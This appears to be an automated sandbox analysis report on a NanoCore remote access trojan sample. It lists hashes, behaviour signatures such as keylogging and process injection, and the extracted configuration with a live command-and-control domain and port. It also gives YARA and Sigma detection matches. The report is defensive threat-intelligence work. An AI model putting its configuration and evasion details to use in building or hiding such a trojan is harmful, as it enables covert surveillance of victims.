Loading ...

Play interactive tourEdit tour

Windows Analysis Report wIQLBHYbqz

Overview

General Information

Sample Name:wIQLBHYbqz (renamed file extension from none to exe)
Analysis ID:483799
MD5:1312d6ff22dbd8e9e05d1b0d9130439d
SHA1:913051c8f41e722c522e637bdbdfa563ecfba4ff
SHA256:543694f8b09a565a88932457d40d16cd85ac3f0b7be9ad322ef9486144379449
Tags:exeNanoCore
Infos:

Most interesting Screenshot:

Detection

Nanocore
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Detected FrenchyShellcode packer
Sigma detected: NanoCore
Detected Nanocore Rat
Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for domain / URL
Antivirus detection for dropped file
Yara detected Nanocore RAT
Maps a DLL or memory area into another process
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Writes to foreign memory regions
Binary is likely a compiled AutoIt script file
.NET source code contains potential unpacker
AutoIt script contains suspicious strings
C2 URLs / IPs found in malware configuration
Hides that the sample has been downloaded from the Internet (zone.identifier)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
Contains functionality to check if a debugger is running (IsDebuggerPresent)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Sleep loop found (likely to delay execution)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Stores files to the Windows start menu directory
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to call native functions
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to dynamically determine API calls
Contains functionality to simulate keystroke presses
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops files with a non-matching file extension (content does not match file extension)
Installs a raw input device (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
PE file contains strange resources
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Creates a start menu entry (Start Menu\Programs\Startup)
Potential key logger detected (key state polling based)
Contains functionality to retrieve information about pressed keystrokes
Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

  • System is w10x64
  • wIQLBHYbqz.exe (PID: 4904 cmdline: 'C:\Users\user\Desktop\wIQLBHYbqz.exe' MD5: 1312D6FF22DBD8E9E05D1B0D9130439D)
    • RegAsm.exe (PID: 4936 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe MD5: 529695608EAFBED00ACA9E61EF333A7C)
  • RMActivate_isv.exe.bat (PID: 6788 cmdline: 'C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.bat' MD5: F9F1A2B23DF822033EC717757776CBB7)
    • RegAsm.exe (PID: 7040 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe MD5: 529695608EAFBED00ACA9E61EF333A7C)
  • cleanup

Malware Configuration

Threatname: NanoCore

{"Version": "1.2.2.0", "Mutex": "0622add8-a38b-49c1-8dc8-c09cf432", "Group": "NewLappi", "Domain1": "megida.hopto.org", "Domain2": "", "Port": 8822, "KeyboardLogging": "Enable", "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Disable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4"}

Yara Overview

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmpNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
  • 0xf7ad:$x1: NanoCore.ClientPluginHost
  • 0xf7da:$x2: IClientNetworkHost
0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmpNanocore_RAT_Feb18_1Detects Nanocore RATFlorian Roth
  • 0xf7ad:$x2: NanoCore.ClientPluginHost
  • 0x10888:$s4: PipeCreated
  • 0xf7c7:$s5: IClientLoggingHost
0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmpJoeSecurity_NanocoreYara detected Nanocore RATJoe Security
    0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmpNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
    • 0x108f5:$x1: NanoCore.ClientPluginHost
    • 0x10932:$x2: IClientNetworkHost
    • 0x14465:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
    0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmpJoeSecurity_NanocoreYara detected Nanocore RATJoe Security
      Click to see the 78 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      22.2.RegAsm.exe.400000.0.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
      • 0x1018d:$x1: NanoCore.ClientPluginHost
      • 0x101ca:$x2: IClientNetworkHost
      • 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
      22.2.RegAsm.exe.400000.0.unpackNanocore_RAT_Feb18_1Detects Nanocore RATFlorian Roth
      • 0xff05:$x1: NanoCore Client.exe
      • 0x1018d:$x2: NanoCore.ClientPluginHost
      • 0x117c6:$s1: PluginCommand
      • 0x117ba:$s2: FileCommand
      • 0x1266b:$s3: PipeExists
      • 0x18422:$s4: PipeCreated
      • 0x101b7:$s5: IClientLoggingHost
      22.2.RegAsm.exe.400000.0.unpackJoeSecurity_NanocoreYara detected Nanocore RATJoe Security
        22.2.RegAsm.exe.400000.0.unpackNanoCoreunknown Kevin Breen <kevin@techanarchy.net>
        • 0xfef5:$a: NanoCore
        • 0xff05:$a: NanoCore
        • 0x10139:$a: NanoCore
        • 0x1014d:$a: NanoCore
        • 0x1018d:$a: NanoCore
        • 0xff54:$b: ClientPlugin
        • 0x10156:$b: ClientPlugin
        • 0x10196:$b: ClientPlugin
        • 0x1007b:$c: ProjectData
        • 0x10a82:$d: DESCrypto
        • 0x1844e:$e: KeepAlive
        • 0x1643c:$g: LogClientMessage
        • 0x12637:$i: get_Connected
        • 0x10db8:$j: #=q
        • 0x10de8:$j: #=q
        • 0x10e04:$j: #=q
        • 0x10e34:$j: #=q
        • 0x10e50:$j: #=q
        • 0x10e6c:$j: #=q
        • 0x10e9c:$j: #=q
        • 0x10eb8:$j: #=q
        13.2.RegAsm.exe.400000.0.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
        • 0x1018d:$x1: NanoCore.ClientPluginHost
        • 0x101ca:$x2: IClientNetworkHost
        • 0x13cfd:$x3: #=qjgz7ljmpp0J7FvL9dmi8ctJILdgtcbw8JYUc6GC8MeJ9B11Crfg2Djxcf0p8PZGe
        Click to see the 155 entries

        Sigma Overview

        AV Detection:

        barindex
        Sigma detected: NanoCoreShow sources
        Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 4936, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

        E-Banking Fraud:

        barindex
        Sigma detected: NanoCoreShow sources
        Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 4936, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

        System Summary:

        barindex
        Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper ArgumentsShow sources
        Source: Process startedAuthor: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard: Data: Command: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ParentCommandLine: 'C:\Users\user\Desktop\wIQLBHYbqz.exe' , ParentImage: C:\Users\user\Desktop\wIQLBHYbqz.exe, ParentProcessId: 4904, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 4936
        Sigma detected: Possible Applocker BypassShow sources
        Source: Process startedAuthor: juju4: Data: Command: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ParentCommandLine: 'C:\Users\user\Desktop\wIQLBHYbqz.exe' , ParentImage: C:\Users\user\Desktop\wIQLBHYbqz.exe, ParentProcessId: 4904, ProcessCommandLine: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 4936

        Stealing of Sensitive Information:

        barindex
        Sigma detected: NanoCoreShow sources
        Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 4936, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

        Remote Access Functionality:

        barindex
        Sigma detected: NanoCoreShow sources
        Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe, ProcessId: 4936, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

        Jbx Signature Overview

        Click to jump to signature section

        Show All Signature Results

        AV Detection:

        barindex
        Found malware configurationShow sources
        Source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmpMalware Configuration Extractor: NanoCore {"Version": "1.2.2.0", "Mutex": "0622add8-a38b-49c1-8dc8-c09cf432", "Group": "NewLappi", "Domain1": "megida.hopto.org", "Domain2": "", "Port": 8822, "KeyboardLogging": "Enable", "RunOnStartup": "Disable", "RequestElevation": "Disable", "BypassUAC": "Disable", "ClearZoneIdentifier": "Enable", "ClearAccessControl": "Disable", "SetCriticalProcess": "Disable", "PreventSystemSleep": "Enable", "ActivateAwayMode": "Disable", "EnableDebugMode": "Disable", "RunDelay": 0, "ConnectDelay": 4000, "RestartDelay": 5000, "TimeoutInterval": 5000, "KeepAliveTimeout": 30000, "MutexTimeout": 5000, "LanTimeout": 2500, "WanTimeout": 8000, "BufferSize": "ffff0000", "MaxPacketSize": "0000a000", "GCThreshold": "0000a000", "UseCustomDNS": "Enable", "PrimaryDNSServer": "8.8.8.8", "BackupDNSServer": "8.8.4.4"}
        Multi AV Scanner detection for submitted fileShow sources
        Source: wIQLBHYbqz.exeVirustotal: Detection: 69%Perma Link
        Source: wIQLBHYbqz.exeMetadefender: Detection: 62%Perma Link
        Source: wIQLBHYbqz.exeReversingLabs: Detection: 80%
        Antivirus / Scanner detection for submitted sampleShow sources
        Source: wIQLBHYbqz.exeAvira: detected
        Multi AV Scanner detection for domain / URLShow sources
        Source: megida.hopto.orgVirustotal: Detection: 12%Perma Link
        Antivirus detection for dropped fileShow sources
        Source: C:\Users\user\AppData\Roaming\Gfxv2_0\RMActivate_isv.exe.batAvira: detection malicious, Label: HEUR/AGEN.1100005
        Yara detected Nanocore RATShow sources
        Source: Yara matchFile source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b74629.7.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40d2a4d.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.4252a4d.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.618062231.0000000003997000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.618678183.0000000004910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: wIQLBHYbqz.exe PID: 4904, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 4936, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RMActivate_isv.exe.bat PID: 6788, type: MEMORYSTR
        Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 7040, type: MEMORYSTR
        Source: 22.2.RegAsm.exe.400000.0.unpackAvira: Label: TR/Dropper.MSIL.Gen7
        Source: 13.2.RegAsm.exe.400000.0.unpackAvira: Label: TR/Dropper.MSIL.Gen7
        Source: 13.2.RegAsm.exe.5b70000.6.unpackAvira: Label: TR/NanoCore.fadte
        Source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpackAvira: Label: TR/Dropper.MSIL.Gen7
        Source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpackAvira: Label: TR/Dropper.MSIL.Gen7
        Source: wIQLBHYbqz.exeStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
        Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exeFile opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

        Networking:

        barindex
        C2 URLs / IPs found in malware configurationShow sources
        Source: Malware configuration extractorURLs:
        Source: Malware configuration extractorURLs: megida.hopto.org
        Source: wIQLBHYbqz.exe, 00000000.00000002.616258371.00000000030B4000.00000004.00000001.sdmpString found in binary or memory: http://bot.whatismyipaddress.com
        Source: wIQLBHYbqz.exe, 00000000.00000002.614810428.0000000000FFB000.00000004.00000001.sdmpString found in binary or memory: http://checkip.dyndns.orglTime
        Source: wIQLBHYbqz.exe, 00000000.00000002.614810428.0000000000FFB000.00000004.00000001.sdmpString found in binary or memory: http://www.myexternalip.com/raw
        Source: RMActivate_isv.exe.bat, 0000000E.00000002.615594870.0000000003129000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.org
        Source: wIQLBHYbqz.exe, 00000000.00000002.616316017.00000000030D3000.00000004.00000001.sdmpString found in binary or memory: https://api.ipify.orgDi
        Source: unknownDNS traffic detected: queries for: megida.hopto.org
        Source: wIQLBHYbqz.exe, 00000000.00000002.616316017.00000000030D3000.00000004.00000001.sdmpBinary or memory string: _WINAPI_GETRAWINPUTDATA3
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_0048CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,
        Source: C:\Users\user\Desktop\wIQLBHYbqz.exeCode function: 0_2_00402344 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

        E-Banking Fraud:

        barindex
        Yara detected Nanocore RATShow sources
        Source: Yara matchFile source: 22.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b74629.7.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40d2a4d.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.42495ee.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.5b70000.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40ce424.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.3918578.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.39cb008.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.2.RMActivate_isv.exe.bat.16e0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.38c4300.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.2.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cb008.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.0.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35a0a20.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.3.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.424e424.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 13.2.RegAsm.exe.4252a4d.4.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.2.wIQLBHYbqz.exe.14a0000.1.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.3668768.1.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 22.2.RegAsm.exe.40c95ee.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0.3.wIQLBHYbqz.exe.39cbe78.2.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.35d3428.5.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 14.3.RMActivate_isv.exe.bat.356e018.6.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 0000000D.00000002.617258087.0000000005B70000.00000004.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.581083346.0000000003668000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.453308954.000000000399F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611459498.0000000003081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580718643.0000000003611000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.452029104.0000000003975000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000002.614749797.00000000016E2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.614883445.00000000014A2000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.609808438.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.609719074.0000000000402000.00000040.00020000.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580844038.0000000003B80000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617706572.0000000003910000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.592051979.0000000003562000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580617027.00000000035B9000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450606191.0000000004911000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000D.00000002.615169994.0000000004247000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000002.617309688.0000000003893000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580586671.000000000369C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000016.00000002.611621495.0000000004081000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 0000000E.00000003.580975519.000000000363C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.450818264.000000000391C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000000.00000003.466877574.00000000039B2000.00000004.00000001.sdmp, type: MEMORY
